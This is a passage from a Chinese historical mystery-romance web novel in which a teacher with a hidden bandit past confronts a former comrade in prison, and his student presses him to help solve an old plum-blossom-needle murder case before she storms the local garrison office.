“这还不简单。”唐黎将裙角掖在腰间,寻个较为隐秘的墙头翻身过去。
蔺渊没她那灵巧的身手,立在墙外干着急。他担心唐黎被兵丁发现,又担心廖武胡说八道,倒不是怕唐黎知道自己出身白虎山,而是怕自己最不堪的那一面被廖武抖搂出来。
不行,我需寻个法子进去。
于是蔺渊来到大门口,礼貌的上前道:“这位小哥,劳烦通禀一二,蔺万宗有事面见小顾相公。”
过了一会儿守卫回来,他回礼道:“先生请回吧,小顾相公正忙。”
“我可以等他。”
守卫脸色有些为难道:“小顾相公还说……让你滚蛋。”守卫本人觉得这样说话很没礼貌,但顾相公强烈要求他原话转述,若不是这人赖着不走,他还真不想转述这句话。
“哦,这样啊。”看来这次真把顾平安气到了。
没办法,还是得翻墙。
蔺渊虽然不会轻功,但他腿长胳膊长的,借来垫脚石很快就翻了过去。
但很快被兵丁发现。
油灯下,顾平安正看着卷宗,听人汇报抓了个闯牢狱的,那人竟大言不惭的说是来找顾相公。
“带上来。”顾平安倒想看看是谁那么大胆。
蔺渊被人押上来,他先是露出人畜无害的笑容。
顾平安白了他一眼道:“呦,这不是蔺夫子嘛,迫不及待想入狱吗?”
“顾相公还在生蔺某的气?”他露出和善的笑容,还带点讨乖的意思。
顾平安鼻孔里哼出一声,阴阳怪气道:“咱儿哪里敢啊,别到时候蔺夫子一气之下也要砍掉我的胳膊。”
蔺渊开门见山道:“能不能让我见见廖武?”
“不能。”顾平安回绝的干脆。
“那就对牢狱加强守备,别让廖武有机会逃脱。”其实他是想说别让唐黎有机会见到廖武。
“你在教我做事?”还在生气的顾平安仿佛刺猬般,四处扎人。
蔺渊懒得继续哄下去,扔出个腰牌来,命令道:“我要见廖武。”
“南衙的腰牌?怎么?你到底是白虎山的土匪头子,还是南衙安排在白虎山的暗桩?”
“各州府的兵马司隶属南衙,遵令还是不遵?”
“自然是遵的。”他起身把腰牌拿过来,蔺渊刚要伸手接,顾平安却故意停顿一二道:“要是你的那些弟兄们知道你是南衙的暗桩,会如何?”
“不会如何,我本来就不是南衙的暗桩。”蔺渊微一把夺过自己的腰牌。
顾平安亲自领着蔺渊来到牢狱,并表示见廖武可以但他必须在场。
牢狱的守卫没什么异常,犯人们也是耷拉着脑袋低沉的很。唐黎不像来过这里的样子。
在确定真没有什么人进入后蔺渊转身就走。不解的顾平安拉住他道:“姓蔺的,你玩我呢?”拿南衙压我,到了地方却又不见。
这不是有病嘛。
他的话让廖武听到,挤到栏杆前大喊道:“蔺渊你个鸟厮!忘恩负义!当年若不是老子出手相救,你早就死了,被野狗吃了!被老鼠啃了!”
蔺渊脚步未停,继续前进。他在担心着唐黎,如果唐黎没能闯入牢狱,以她的性格估计不会轻易放弃。
廖武继续骂着道:“白虎山交到你手里早晚得完蛋。招安,招他娘的鸟安!你对得起雷大哥吗?”
顾平安侧眸打量着蔺渊,此人竟真有招安的念头,那他想带白虎山走向正途不是空口白牙的胡诌。
蔺渊本不想理会廖武,但总有一口气憋在心里不吐不快,他大步折回道:“招安是雷大哥的想法,我不过在执行大哥的遗愿。”
“放屁!”他伸出仅有的胳膊就要抓蔺渊,多亏顾平安眼疾手快的护下蔺渊。
“就算是雷大哥的遗愿,那也是你撺掇的!你曾做过官,巴不得再次成为朝廷的狗腿子!”他吐了口口水,万分鄙夷地道:“你设计把我,老四,老六弄下山去,不就是为了更好的掌控雷大哥吗?别跟老子来你那套书生清高。”
“清高?呵。”蔺渊冷笑一声继续道:“是你们咎由自取。”
“老子不过是挪用山寨几千两银子罢了,要不是你从中挑唆,雷大哥哪里会赶我们哥儿几个下山!等老子出去一定弄死你!你且等着。”他呲着牙一副要吃了蔺渊的模样。
蔺渊缓缓抬起眸子道:“你与雷大哥小妾的私情,还偷拉山寨的武器卖与头陀山,害的两山争斗白虎山伤亡惨重。若是我将这些都告知雷大哥,你觉得你有命离开白虎山吗?”
廖武沉默了,过会儿他有
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些不相信的开口道:“这些事你都知道?却还为我隐瞒?”
蔺渊避开他的视线,侧过身道:“你救我一命,我还你一命。咱们两清了。”
廖武却激动的拉过他的胳膊,就差将蔺渊从栅栏里拽进去,他紧紧握住蔺渊的手道:“没想到你竟待我如此好。好兄弟,你真的对我有情,我也必……”
“没那个情!你别多想,绝对没有!”蔺渊实在夺不回自己的胳膊和便向顾平安求救。顾平安看热闹看到正起劲儿,他抽出佩刀以此威胁廖武松开手。
蔺渊整理的衣物退到安全距离,他转身道:“告辞。”
“等等!”廖武扒着栅栏,不死心的道:“我就问你一句话,你是不是特别恨我,恨我把你强留在白虎山上?”
蔺渊折返而归,他毫不犹豫的点头道:“六年了,我一刻也不想待在那山上看你们杀人放火,奸|淫|掳|掠。
你觉得我会管你们这些土匪的死活?遇到朝廷兵马,我恨不得放他们入寨!
可我不能。
就像你说的,你们救过我的命,又对我不错。我不能恩将仇报。可为何你们就不肯放过我?一步步将我逼成如今这副模样?”
蔺渊像是找到发泄口,向来情绪平稳的他整个人都激动起来。
“没人逼你啊?路都是你自己选的。”廖武没有蔺渊那口才,磕磕巴巴的反驳的。
“四年前的三月二十一日戌时。你知道那是什么日子吗?”蔺渊颤巍巍地抬起手来,目不转睛的盯着手心。
“……”廖武还真在认真回想。
“你握着我的手逼我杀了个人。刀划开那人脖子时的场面我每天晚上都能梦到。”
蔺渊苦笑道:“是每天晚上。满目布满的红色啊。那个男人向我求饶,他不停地叩头,诉说他的幼子、寡母,求我绕他一命。而他却在你们的笑声中死去,你们还……还霸占他的妻子。”
蔺渊闭上眸子,深吸一口气,这件事到现在在他的心里都是一道坎。
廖武回忆起这件事,那年兄弟们逼蔺渊投名状,不就是杀个人嘛,唧唧歪歪的记这么久。
从廖武的表情中蔺渊就知道他的想法,轻笑一声道:“我知道你无所谓。杀人对你来说是常事嘛。”他垂下眸子,身形佝偻,悲凉万分的开口道:“如今的我也变的和你们一样,可恶又可悲。你说我该不该恨?”
这神情别说廖武了,就连旁观者顾平安都忍不住心疼。
不用想都知道读书人适应不了土匪的生活,他们熟读圣贤书,有自己的“有所为”,“有所不为”。逼他们打破原有行事准则,和杀了他们没有分别。
“咱们走吧。”顾平安护着蔺渊离开。他一路都在观察旁边人的情绪。蔺渊突然抬眸笑了起来道:“怎么?顾相公在可怜我?”
“什么?”
“那些话你别往心里去,我不过是想引起廖武对我的内疚。”
“什么!”
“廖武不会被判死罪,流放充军奈何不了他的。你也听到了,等他出来后便要弄死我。我编些话哄一哄他,也算给自己留条后路。哪怕对方是穷凶极恶的土匪,但依旧是血肉之躯,有时候示弱真的很管用啊。”蔺渊歪头看向顾平安道:“顾相公不会真相信我方才的话吧?”
顾平安表情不太自然,他不仅真信了,还默默可怜蔺渊,甚至都不打算生蔺的气来着。
谁知道这家伙满嘴胡说八道,小词张口就来。
“这么说你没有为廖武隐瞒,那雷正为何会宽恕他?他都与雷正的女人搅和在一起了。”顾平安不认为一个强盗头子能忍耐被戴绿帽子。
“这些事都是廖武离山后我才得知。方才不是说了,为了哄廖武的嘛。这样说显得我够义气。”
顾平安发现自己根本就看不懂蔺渊,方才说的那些话,那些情绪竟都是作假?
怕不全是吧?
他不确定的问道:“你嘴里到底有几句实话?”
“永远别信我就行。”蔺渊笑得高深莫测。
24. 你就是大理寺推官蔺渊?
顾平安一路送蔺渊来到大门口,临走时他道:“别的事我都可以不管,梅花针一案你不许满嘴胡诌!”他怕了,怕蔺渊那上下嘴唇一碰给他编出来个杀手、嫌疑犯又来哄骗。
“放心。我好歹也做了三年大理寺的官,对于案子绝不会糊弄的。”
“那就好。蔺夫子慢走。”
蔺渊刚拐进一旁的巷子,唐黎的身影窜了过来。
“嗯。”蔺渊摊开手帕,那里躺着五六个糖块。他担心唐黎没恢复好就这样折腾,怕她再不舒服,于是就从顾平安屋里抓上几颗怡糖。
“是麟凤阁的嘛?”唐黎用手指点了一点,她的嘴比较挑,一般只买麟凤阁的。
蔺渊吃了一颗道:“挺甜的。嗯,尝尝。”他把手往前又送了送。
她试探的尝上一口道:“是诶,还挺不错。谢谢夫子。”于是连带着蔺渊的手帕照单全收。
“……”
啊,可那是我的手帕诶~
蔺渊看着自己的手帕被唐黎塞进怀里,想说的话又没说出口。想来唐黎是从不计较这些繁文缛礼,自然对私授帕子并不在意。
“没能进去吧?”蔺渊说的肯定。
“谁知道守卫的那么严,监狱连个窗户头没有。”她掏出药瓶转上一转,惋惜的道:“算了,饶他一命吧。我还有更重要的事要办。”
蔺渊笑着道:“重要的事?什么事啊?”
“夫子。”唐黎突然唤起蔺渊夫子,蔺渊还一时间没反应过来,唐黎又唤了一声,笑盈盈的道:“夫子曾经是大理寺的推官?”
“你……你方才偷听我与顾相公的谈话?”蔺渊立马紧张起来,他问道:“是从什么时候开始听的?”
“我一路跟着你们,你们竟都没发现我?”
“所以你?”蔺渊更加紧张,他当年参加殿试的时候都没这般紧张。
“白虎山的土匪蔺渊。”她背过手去,上下打量起对方。
“我不是故意隐瞒身份的。”蔺渊想解释一二,但唐黎的重点不是这个,而是……
“夫子真的是大理寺推官?”
发现唐黎对于他土匪的身份并不在意,虽不知道为何但蔺渊还是偷偷喘了口气。
而唐黎之所以对白虎山没太大的反应,多亏了民间的说书先生们,他们立志于将白虎山塑造成一个劫富济贫、替天行道的组织。话本子又着重描述白虎山的义气当头。爱看爱听的唐黎自然对白虎山印象不错。
这会儿没缠着让蔺渊讲故事就不错了,可见她真的有更重要的事要做。
“你真的推官蔺渊!?”唐黎又问上一遍,她显得很是激动。
蔺渊没有否认,他点头承认道:“是我。”
在回去的路上唐黎左一个夫子,右一个夫子的喊着。从认识她到现在,都没听她喊过那么多声。到了下榻的元德堂又是恭敬奉茶伺候。
这让蔺渊心里打鼓,唐黎的性子转变的太快,总觉得有些不太对劲儿。果不其然唐黎道出自己的目的。
“蔺夫子,学生有个问题想请教。”
“嗯,说吧。”蔺渊嘴角微勾,这是半个月来十八斋的学子第一次提问。他必定拿出十二分的精神应对。可惜唐黎的问题与四书五经没半点关系。
她问起八年前的一桩旧案,梅花针案。
“你问梅花针案?”蔺渊转眸看向唐黎。一桩八年前已经了结的旧案,与她一个书院学子有何干系?
“对,学生想知道梅花针案的一些细节。”唐黎拱手行礼,姿态颇为谦逊。
蔺渊了然的点点头,算是知道唐黎为何一反常态,她何曾认可我这位夫子,所有的乖巧有礼都是为了套话。
蔺渊有些不开心,他来了脾气。
你不是变着法的哄我,想知道案子的具体细节嘛,那我偏偏就是不说。
唐黎自然是不知道蔺渊心中所想,她一再追问旧案细节。看她的样子似乎这个案子对她很重要。
“八年前你多大?”
“十二岁。”她老实回答道。
“认识此案的涉案人员?”
“案子里的所有人我都不认识。”
“那就奇了。既然如此你为何要了解案情细节?”
“不过是八年前的旧案,告诉我也不会有任何影响。夫子为何不肯说?”
唐黎同样疑惑蔺渊的态度,又不是朝廷机密,有什么不肯说。我就看过梅花针案的卷宗,还是最初版的手札,可就因为是最初版的,导致细节不是太清楚。
像凶手为何以梅花作为印记,与受害者之间有何关系,每个受害者之间又有什么联系。这类与最终呈报上官无关的细节都未曾被记录。以此案为原型的话本子中的细节都是她自己臆想出来的。
见蔺渊不回答,唐黎继续说道:“水月楼的璃羽是被梅花针所害吧?您不觉得与八年前的案子很像吗?”
“不可妄下结论。”
“我在义庄听的一清二楚,顾相公还提到陶姓女子头中梅花针,是不是?”
“你跟踪我?”
唐黎陪笑道:“主要是夫子与顾相公前后变化太大,学生不得不起疑啊。”
她见蔺渊还是不愿吐口便道:“你等下哈。”她跑了出去,也不知从贾复那要来什么,一路又快跑过来。
“这是第三根针。”唐黎双手奉上。
蔺渊接过梅花针,与其他两根一般,略带血迹,刻花粗糙质朴,像是出自一人之手。
“学生未曾见过其他两针,还望夫子帮忙判断一二。这三枚针是否一样?”
蔺渊眼皮忍不住的微跳,梅花针一连出现三次,就算不是此物致人死亡,也应是某人做某事而留下的印记,无论如何此案非同小可啊。
“这针哪来的?”
“是我一位朋友。”唐黎停顿一二,觉得措辞有些不当,改口道:“其实也就算是个熟人,在她的尸体上发现的。”
“没去报官?”
“主要我没瞧见尸体,是复叔去看的,他从脑顶处找到这枚针,至于是不是致死原因,复叔不敢确定,但他也觉得甚是奇怪。
这位姑娘是逃荒来的,住在城郊自己搭的窝棚里。我想过去报官,但无凭无据也非亲非故的,衙门是不会受理的。”
蔺渊点点头认可唐黎的解释,他将针还给唐黎道:“如今已在三具尸体上发现梅花针,且官府正在调查璃羽的案子,你现在可以报官,他们一定会彻查此事给你朋友一个交代。”
“夫子之前参与过梅花针案的调查,您觉得今日之案应从何处着手?”唐黎开始讨论起案情来,看起来颇有兴致。
这就让蔺渊很困惑,查案推案明明是官府的活,她竟会这般好奇。正常人对人命官司不应该是敬而远之?
“你若是对功课也这般上心,府试早就过了。”蔺渊总结道。这些学生一个个的心思从不在学业上,十八斋的众人里也就林焕肯用心。
唐黎讨好的奉上茶水道:“夫子就简单说说,听了大理寺推官的分析,也好让我受教啊。”
“天色已晚,快些歇息去。明儿一早还要回山。”蔺渊下了逐客令,没达到目的的唐黎撇撇嘴不甘心地离开房间。
第二天天不亮蔺渊就带着唐黎回山,与守门的护卫寒暄几句,护卫顺便交代书院近期的安排。
“马上要举办乡射,书院会封闭两天进行准备,烦请各位夫子、学子近日就不要下山。”
不仅书院进行封闭,连带着后山也跟着封禁。衙门安排的小动物们正一
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车一车往后山送去。
车子正经过十八斋的讲堂,林焕趴在窗棂看着成车成笼的兔子,感慨万分道:“毛茸茸的多可爱,当成猎物这谁下的去手啊。”
苏天赐头都没抬道:“吃肉的时候没见你可怜它们。”
“那不一样,我不吃肉就没力气的。”林焕反驳道。
“口舌之欲。”苏天赐开口就是老道士的味道。
“咳咳。”清脆的咳嗽声传来,眨眼间闪过一道青光,唰的一声是扇子开合的声音,上官竹以非常潇洒的状态飞身进屋,正立在中间的桌子上。
“嘿嘿,小爷我回来了!”
上官竹依旧是几层薄衫,束着高高的马尾,他还非常嘚瑟的用扇子挑了下头发。可惜他没能得意多长时间,从他身后经过的唐黎十分不客气的将他拽下来:“这是学堂,不是耍猴戏,下来。”
“诶诶诶,疼!你怎么和夫子似的爱揪人头发。”上官竹护着脑袋,生怕发型被唐黎揪乱掉。
他像林焕求救道:“林焕你还看,帮帮忙呀。”
林焕捂嘴笑了笑,还不忘为他求情道:“你饶他这次吧,他下次不敢了。”
唐黎看在林焕的面子上才放开上官竹,打了个长长的哈欠坐会到位置上。林焕见她眼圈发青,今早起床也没见到她便问道:“你这几天怎么老是下山?”
唐黎含糊的嗯一声,翻开书册认真读了起来。
“又去查案了?”林焕低声问道。
唐黎眼睛睁大一圈,举起书册挡在两人脸前:“嘘,小点声。”
她凑近苏焕又举起一本书册遮挡在二人面前。
“我现在有个好门路,案子保证能破。”
林焕听的云里雾里,不明就里的问道:“不是说查了三个月都毫无头绪?你找到线索了?”
“我找到推官了。你知道吗,咱们的蔺夫子曾是大理寺推官,参与审理过两桩大案,双水分尸案以及梅花针连环杀人案。”
“这不都是你写的话本子吗?”
“我是看卷宗时枯燥将这些事编排成话本,想着写都写了试着卖卖。哎,不说话本子了,重要的是以蔺万宗的本事查此案易如反掌。”
林焕却没那么乐观,她强调着蔺渊的土匪身份道:“咱们都知道他的真实身份,他避着咱们还来不及,凭什么要帮你?”
“这嘛……”唐黎放下书册,拿过茶盏抿了一口茶故弄玄虚,等林焕忍不住追问时她颇为自信的笑着道:“就凭我是他的学生。”
“啊?”林焕怀疑自己的耳朵,学生怎么了,又没拜师又没敬茶的,只能算是个萍水相逢又有点熟悉的长辈而已。
“上官竹是他狱里捞出来的,在水月楼也是他护着上官竹。你说他与上官竹能有什么交情?”
林焕试着回答道:“夫子与学生?”
“对喽。”
林焕微微摇头,她觉得唐黎有些过于自信了。
“他都能对上官竹百般照顾,我请他帮忙不都是顺手的事。再说了....”
再说了我前天还救他一命。他们江湖中人不都讲究有恩就报嘛,我这还是救命之恩,总要还点吧。
这才是唐黎自信的本钱。
悠扬的钟声响起,唐黎整理桌面等待夫子的到来,她打算与蔺渊打好关系,想请他助力此案,兴许就破了案。毕竟大理寺推官的本事可是名声远扬。
至于怎么与蔺渊打好关系,唐黎是这么想的,既然他喜爱以夫子自居,那夫子喜欢什么呢?自然是喜欢好学生。
于是唐黎打算从当一名好学生开始。
只是进门的却是另外一位夫子,白白浪费唐黎调整半天的情绪。长者捋着胡子道:“蔺夫子身体不适,今日的课业就有老夫代授。”
25. 招人喜欢又惹人怕的唐黎
一听蔺渊生病上官竹立马回头看向唐黎,唐黎同样疑惑,蔺万宗是受了伤,但那点伤也不至于病到无法授课。
上官竹着急忙慌的就往外走去,他要去探望生病的蔺渊。
“这位学子是要去哪?”老夫子伸长手臂也没能拦住上官竹。
唐黎此刻也跟着起身,不过她比起上官竹要礼貌许多,向老夫子郑重拱手道了告退。
“诶。”老夫子看着学堂剩下的两位学子叹了两口气。怨不得年轻些的夫子都不愿教十八斋,这都是些什么孩子。
“夫子,学生有一处不明,还望夫子指教。”温婉的声音响起,林焕捧着书册走上前来。
老夫子瞬间眉笑颜开,与林焕讲起来,也不再计较那俩中途离场的学子。
上课时间唐黎与上官竹在书院乱逛被学官得了个正着。上官竹向来是惯犯,学官也没给面子上来就训斥一顿。
“唐黎你来说,为何出现在此?”
“呀。是柳学官啊,许久未见杜学官,她回家省亲还未归吗?”唐黎寒暄道。
“别给我打马虎眼,我问你不去学堂,为何在此?”
“听闻蔺夫子病了,我们放心不下就想来看看他。”她一脸的真诚抬眸看向学官。
“倒是有点子孝心。只此一次下不为例,去吧。”也不知今日有何喜事,让一向严厉的学官放过两位学子。
上官竹抬腿就要溜,就听学官道:“等等,替我带个好。若是蔺夫子身子好些就让他来杏林正堂,知府相公来咱们书院亲自安排乡射一事,山长想找几位年轻的夫子在射礼上执弓。”
……
青瓦被晨露染到泛黑,随着太阳的升起露水开始不成滴的沿着屋檐落下。郎朗的读书声围绕在书院上空,质朴的古琴声和谐与读书声融合为一体。
上官竹抬头看了眼匾额,是夫子的寓所没错呀,怎么会有琴声?唐黎拍了下他的后背示意他进去看看。
“夫子!”上官竹率先跑进院子。
蔺渊端坐正堂喝茶,还是雷打不动的白衣长衫,身侧有位女子在抚琴。
琴音在上官竹进屋时戛然而止。女子冲着上官竹微微笑着,虽说上了年岁却依旧风韵犹存,举手投足间自有一股风流。
这人上官竹认识,书院里教琴艺的吴夫子。
据说年轻时美貌动四方,王爷将军争相聘她入府,打的是不可开交。只可惜她生性孤傲,为躲清静抱着琴上山修道,在道观里一住就是十几年,后被山长三请出山为书院的学子教授琴艺。
“你是上官竹?”吴夫子同样认识上官竹,只是有些不太确定。
上官竹忙不迭的行礼道:“见过吴夫子。”
“不必多礼,小时候我还抱过你,转眼就长这般大。”吴夫子转眸看向屋外的唐黎,冲她招手道:“外头露水大,孩子快些进屋。”
“见过吴夫子。”唐黎行礼道。
吴夫子抱着琴起身,对着蔺渊点头道:“我就不打扰了,多谢学兄的琴谱。”
“我送送你。”蔺渊将人送走,回来看着堂里悠闲喝茶的两位学生,这二位是一点都不觉得逃课有什么不对。
蔺渊严肃的问道:“今日有早课,跑我这来作甚?”
上官竹绕着蔺渊转了一圈,又上下打量一番,得出结论道:“夫子没有生病为何不上早课?”
蔺渊面无表情的坐下道:“怎么?我还要与你汇报?”
一旁闻茶的唐黎放下茶盏道:“上等的琴音,上好的普洱。夫子当真会享受。”
蔺渊从抽屉拿出茶饼递给唐黎,哄着道:“喜欢就送你,快些回去上课吧,昂。”
上官竹上前拉着蔺渊道:“咱们一起去。我就想听你的课。”
上官竹想听课?那还真是破天荒啊。
蔺渊微微笑了笑,抬眸道:“给你留的文章作好了?”
提及这事,上官竹心虚到直接开溜,堂下就只剩唐黎蔺渊二人。
这帮学子中蔺渊最怕与之独处,这姑娘行事完全不按常理出牌,过于我行我素。此刻赖在屋里不走,不知又在打什么鬼主意。
“嘿嘿。”唐黎冲着蔺渊露出友善的笑容。
蔺渊扯着嘴角也回个笑容,思索一二还是打算开口解释:“早些天吴夫子托我为她寻个琴谱。今早给了她,她一高兴就要弹奏,我不好推脱,就向学官告了病假。”
“嘿嘿。”唐黎又上前一步,依旧是满脸明媚的笑容。
“你....”蔺渊回笑的脸变得僵硬,眼看唐黎离的越来越近,他挺直身子往后躲了躲。
“蔺夫子,咱们算不算生死之交?”蔺渊越往后躲唐黎反而靠他越近。
“???”蔺渊眉头微皱,能说出这话还真是话本子看多了。
是时候该向山长进言禁止话本子入院,实在是荼毒学子。
“我救你一命,夫子是不是要涌泉相报?学生我也不求什么大事,只想请夫子出山,侦破邓州梅花针一案.....”唐黎近在咫尺,蔺渊连忙起身闪过一边道:“好好好,报,一定得报。”
唐黎满意的点点头,谁知蔺渊撩袍便单膝跪地,双手高举头顶抱拳道:“多谢唐姑娘出手相助,救命之恩没齿难忘。”
“???”
这回换唐黎满头疑惑,对方不该是说:“救命之恩涌泉相报,恩公有事但说无妨。”
可现实却是……
“这都不行啊?要不我给你磕几个吧。”蔺渊说着真的双膝着地,马上就要叩头,唬得唐黎连忙躲到一边道:“诶诶诶,你存心恶心我的是不是!”
跪地磕头可是大礼,除了父母祖辈谁敢受头?就连那满朝威武面对皇帝也不过是行揖礼,动不动就跪地磕头叩拜那是胡俗,是蛮礼!
看着被恶心走的唐黎,蔺渊干脆席地而坐,轻松地笑起来。
笑着笑着就开始反思,这个玩笑似乎开大了,唐黎指不定要怎么看自己。他的笑容慢慢散尽,有些后悔方才的做法。
唐黎确实生气了。蔺渊跪拜自己,这已经不是尊不尊重的问题,这完全是在亵渎礼法,亵渎自己。
膝盖这般软,一点骨气都没有。
说跪就跪,什么人啊。
就算再瞧不上蔺渊但还是有求与他。唐黎将一应事务抛之脑后,延续之前的法子,做个好学生多与蔺渊亲近,磨也要磨到蔺渊答应为止。
于是在蔺渊的寓所前每天都会上演这样的一幕。
蔺渊写字,唐黎磨墨;
蔺渊画画,唐黎铺纸;
蔺渊抚琴,唐黎焚香。
只要蔺渊的出现,总会有唐黎这只小尾巴跟着。
“嗡~”手指微动导致最后个泛音不稳,蔺渊抚平琴弦长吁一口气,对于再次出现的唐黎颇为无奈的道:“唐学子到底有何指教?”
“我啊....”她笑的甜美,从身后拿出本子道:“请夫子点评文章。”
二人就文章才聊上两句,唐黎又把话头转到案子上。
蔺渊干脆将文章放下,抬眸对着唐黎语重心长的道:“学子应以学业为重,府试将至,你不可分心啊。”
说起邓州的梅花针案,蔺渊不是不肯帮,而是不想让唐黎把心思放在这上边。探案有衙门,再不济还有个顾平安,总有人会去伸张正义。
明年春天就要府试,正是下苦功夫的时候,书院上下都在紧张面对,哪能此刻分心。
可是
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这份良苦用心唐黎半分都没体会到。
“不差这点时间。你就帮帮我吧。”唐黎拉过垫子坐到蔺渊身边,一双大眼睛格外明亮,忽闪着睫毛盯着蔺渊竟像是在撒娇。
她的眸子仿佛有魔力般让人无法移开目光。蔺渊目光直愣住,那瞬间只觉得心跳慢上一拍,呼吸也跟着乱起来。
他赶紧挪开视线,慌忙地眨眼这才缓过神,随手翻开面前的书籍,看的也是心不在焉。
自己这是怎么了?
多少年的风浪都闯过来,什么样的女人不曾见过,偏偏对着如此纯真、清澈的眸子失了神......
那可是你的学生啊。
蔺渊!敢起歪心思,你还是人吗?
若不是唐黎还在旁边坐着,蔺渊早就给自己两巴掌好让自己清醒。
“夫子?夫子。”唐黎见他没反应,点了点桌子道:“你的书拿倒了。”
“哦?”蔺渊回过神来,面对离自己非常近的唐黎他几乎是弹跳开,继而快步走向院子。
唐黎眉头紧皱,完全不知道发生什么,她起身跟着追出去。
“你你你....”蔺渊结结巴巴指着唐黎道:“站那!不许过来。”
唐黎虽不理解却老实听话。那双漂亮的大眼睛又开始盯上蔺渊。
蔺渊是一点都不敢与之对视啊,他别过头又道:“不许看我。”
“为什么啊?我长眼睛就是为了看嘛。”她不管,她偏要盯着蔺渊。
盯着盯着就觉得此人好似心虚,有种偷了什么东西的感觉,浑身上下透露的局促感都快冲上天际。
蔺渊不光心虚,他还害怕。
他是真害怕自己对唐黎起了不该有的心思。
那可太龌龊,太猥琐了。
眼看唐黎又要上前,蔺渊抬手制止道:“要我帮忙可以。马上就要射礼,这两天准备出六篇与射礼有关的文章给我。没写完前不要出现在我的寓所。还有!以后请教文章去学堂,莫要随意出入我的寓所。”说完回屋关门一气呵成。
“这?他怎么还生气了?”唐黎撇了撇嘴,觉得蔺渊事多。夫子那股子迂腐劲儿真是入木三分。
对哦,他一个白虎山的土匪头子,为何要在书院里当夫子?还当的那么认真?
是从良了吗?
第一次听说从良的土匪可以当夫子呢。
好奇怪呀。
唐黎反应迟钝,后知后觉的才想起这点。
同样面对眼前事物发出疑惑的还有顾平安,他拿着话本子道:“你的意思,这些话本子是花洲书院的一名学子所写?”
“是的,书肆老板说是位姓唐的女学子,但是每次见面都是扮男装。属下打听几天,现可以确认是十八斋的学子,唐黎。”
“竟是她?”顾平安一下子就想到那天在蔺渊房中见到的红衣女子。
“是否需要属下请她来兵马司一趟?”
“嗯。去吧。”顾平安翻看着话本子,这位唐学子倒是有点意思。
何止有点意思啊。
不到一个时辰副将捂着脸回来,手掌拿开竟是道非常深的巴掌印。
“小五,你这是?”顾平安不明就里的询问道。
小五顿时委屈极了,他揉着脸道:“属下奉命去请唐学子,谁知她二话不说就给我一巴掌。还说兵马司守将而已,哪里配传话与她!她还说在手里的文章没写完哪里也不去。”
“岂有此理!此女简直狂狈。”顾平安听后感觉十分没面子,提着枪竟要亲自上山拿人。
大有兴师问罪的意思。
还未出大门就听门口处响起女子清脆声音:“这就是兵马司吗?顾平安在吗!?给本姑娘滚出来!”
26. 大闹兵马司
不等顾平安动身,唐黎直接现身门口。守卫根本拦不住她,她怒气冲冲的谁敢拦她她就动手,不一会儿衙门院子中倒地不少人。
顾平安见此人敢叫板衙门,也不惯着提抢就战到一处。
唐黎侧腰躲过一击,借一旁石狮子飞身而下直接踏落长枪,落叶震起而飞。顾平安意识到对方身手不凡,也不再手下留情。舞动着长枪劺足劲非要将对方制服。
正当打得不开交之时,蔺渊气喘吁吁跑过来,他来不及喘口气就大喊道:“顾相公!千万别跟孩子计较!”
“我才不是什么孩子。”唐黎回头反驳着蔺渊。
赤手空拳的她暂时处于下峰,于是就打算要拔剑。
蔺渊一看这可不行,殴打朝廷命官已是罪责,万一再害得顾平安断手断脚,唐黎这辈子就别想走仕途。
来不及多想,他横跨一步挡在顾平安身前。
剑虽然没刺过来但是长枪扎了过来,而此刻的顾平安是来不及收枪的。
蔺渊根本不知身后发生何事,多亏唐黎敏捷飞身而来,手中长剑一转将枪头斩断,停下来的枪杆距离蔺渊后背不过一指距离。
顾平安后怕到冒冷汗,与唐黎几乎是异口同声道:“你找死啊!”
面对这两人,蔺渊一时间不知先回答谁,他干脆找个台阶坐下先喘口气。
本来他在寓所看书看的好好的,林焕急匆匆跑过来说兵马司要提审唐黎,唐黎不过询问几句为什么,对方竟然要动手,还把帮唐黎说话的上官竹给打了。
蔺渊就赶紧问学子们动没动手。
林焕继续讲,唐黎扇了对方一巴掌,最后在众位师兄弟的劝说下兵马司的人才离开。但是唐黎越想越气,然后就下了山。
蔺渊一听这下完蛋了,唐黎那脾气谁都清楚,若是挨打的是她自己,这口气兴许能忍。但若是打她了朋友,她定会报复过来。
于是蔺渊连忙追下山去。
这一路给他跑的,比骡子都累。
顾平安将报废的枪丢掉一边,瞥了眼唐黎道:“好狂的女子!”
唐黎不客气的白了他一眼,冷哼一声道:“好大的官威!”
“行了!”蔺渊及时制止,生怕又打起来。他面向唐黎道:“上官竹说他没事。”
“怎么可能没事?他都被人一脚踹飞了诶,他多金贵的一个人啊。长这么大就没人敢下如此狠手。”
果然如蔺渊所想,唐黎就是在替上官竹来鸣不平。
他俩的关系还真是不一般的好啊,只是为上官竹出气她便要闹翻兵马司。
“我都没对上官竹下过那么重的手。他凭什么!”唐黎直接指向不远处的小五。
顾平安也察觉这里面的不对劲儿,唤来小五道:“怎么回事?你动手打人了?”
“这……”他低着头瓮声瓮气道:“这帮学子太不把兵马司看在眼里,属下就出手教训一二。”
“是你们欺人太甚!”唐黎大声反驳道:“我们在学堂做文章,他直接闯进来也就罢了。非要带我去兵马司,好,我也答应下来。不过让他等我把手里文章写完,他不等就算了……”
唐黎越说越委屈,说话间眼泪竟掉出来。
“我写了整整两天的策论啊!都被他撕了,还给扔到水坛里。”策论是换蔺渊帮忙的条件,她辛辛苦苦不眠不休写了两天两夜,马上就能交上去却被那厮给毁了,怎能不气。
看她哭的如此伤心,蔺渊忍不住心疼,他劝说道:“文章由心而起,无人能毁。莫哭了,回去我陪你重新写。”
就连顾平安也劝道:“是啊,有蔺夫子在还怕写不出好文章来吗?好姑娘,快别哭了,我这就让小五给你陪个不是。”他连忙给小五使个眼色。
小五拱手道歉道:“唐学子是在下的错,对不起。”
“呜~”唐黎根本不接受道歉,背过身去还在哭。
蔺渊知道二人之间的约定,只是没想到梅花针一案竟然对她如此重要。把向来要强的姑娘给逼成这样脆弱无助。
他掏出手帕递过去道:“秋风正紧,皴了脸就不好看的。”
“我好看着呢。”唐黎自信满满的拿过手帕。这副娇俏的模样让蔺渊与顾平安忍不住相视一笑。
“好,你最好看。”蔺渊安抚着唐黎道:“你看看,把兵马司折腾成这副模样。气也该消了吧?咱们也该回书院了。”他靠近唐黎轻声道:“那两篇文章我就当你写完了。”
“真的。”被眼泪湿润过的眼睛本来就亮,此刻更加闪耀。
蔺渊眼神立马摆向别处,不动声色的离唐黎远上几步道:“嗯,走吧。”
唐黎又冲小五哼了一声才跟上蔺渊的脚步。待兵马司回归清静后,顾平安后知后觉的回身道:“我是不是忘记什么事?”
对!话本子的事还未问!
